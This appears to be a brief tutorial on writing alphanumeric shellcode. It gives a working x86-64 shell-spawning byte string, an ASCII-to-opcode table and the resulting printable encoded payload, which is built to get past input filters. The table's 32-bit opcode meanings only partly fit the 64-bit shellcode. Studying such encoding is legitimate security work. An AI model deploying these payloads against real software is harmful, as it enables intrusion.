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Alphanumeric Shellcode

Writing Alphanumeric Shellcode

Step1: First we will write assembly program to spawn a shell:

Objdump of shellcode.s 


SHELLCODE
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"


Step2: Now lets test this hex shellcode using a C program:

C program to execute shellcode directly

Shellcode Execution


Step3: Convert instruction opcodes from hex to ascii using table given below:

ASCII Shellcode Table
ASCII ValueHex OpcodeAssembly Equivalent
0\x30xor
1\x31xor
2\x32xor
3\x33xor
4\x34xor al, 0x## [byte]
5\x35xor eax, 0x######## [DWORD]
6\x36SS Segment Override
7\x37aaa
8\x38cmp
9\x39cmp
 :\x3acmp
 ;\x3bcmp
<\x3ccmp al, 0x## [byte]
=\x3dcmp eax, 0x######## [DWORD]
>\x3e[undocced nop]
 ?\x3faas
@\x40inc eax
A\x41inc ecx
B\x42inc edx
C\x43inc ebx
D\x44inc esp
E\x45inc ebp
F\x46inc esi
G\x47inc edi
H\x48dec eax
I\x49dec ecx
J\x4adec edx
K\x4bdec ebx
L\x4cdec esp
M\x4ddec ebp
N\x4edec esi
O\x4fdec edi
P\x50push eax
Q\x51push ecx
R\x52push edx
S\x53push ebx
T\x54push esp
U\x55push ebp
V\x56push esi
W\x57push edi
X\x58pop eax
Y\x59pop ecx
Z\x5apop edx
[\x5bpop ebx
\\x5cpop esp
]\x5dpop ebp
^\x5epop esi
_\x5fpop edi
`\x60pushad
a\x61popad
b\x62bound
c\x63arpl
d\x64FS Segment Override
e\x65GS Segment Override
f\x6616 Bit Operand Size
g\x6716 Bit Address Size
h\x68push 0x######## [dword]
i\x69imul reg/mem with immediate to reg/mem
j\x6apush 0x## [byte]
k\x6bimul immediate with reg into reg
l\x6cinsb es:[edi], [dx]
m\x6dinsl es:[edi], [dx]
n\x6eoutsb [dx], dx:[esi]
o\x6foutsl [dx], ds:[esi]
p\x70jo 0x## [byte relative offset]
q\x71jno 0x## [byte relative offset]
r\x72jb 0x## [byte relative offset]
s\x73jae 0x## [byte relative offset]
t\x74je 0x## [byte relative offset]
u\x75jne 0x## [byte relative offset]
v\x76jbe 0x## [byte relative offset]
w\x77ja 0x## [byte relative offset]
x\x78js 0x## [byte relative offset]
y\x79jns 0x## [byte relative offset]
z\x7ajp 0x## [byte relative offset]

After converting instruction we will get Pure Alphanumeric Shellcode:
"XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00"

Alphanumeric Shellcode Execution using C/ASM Program


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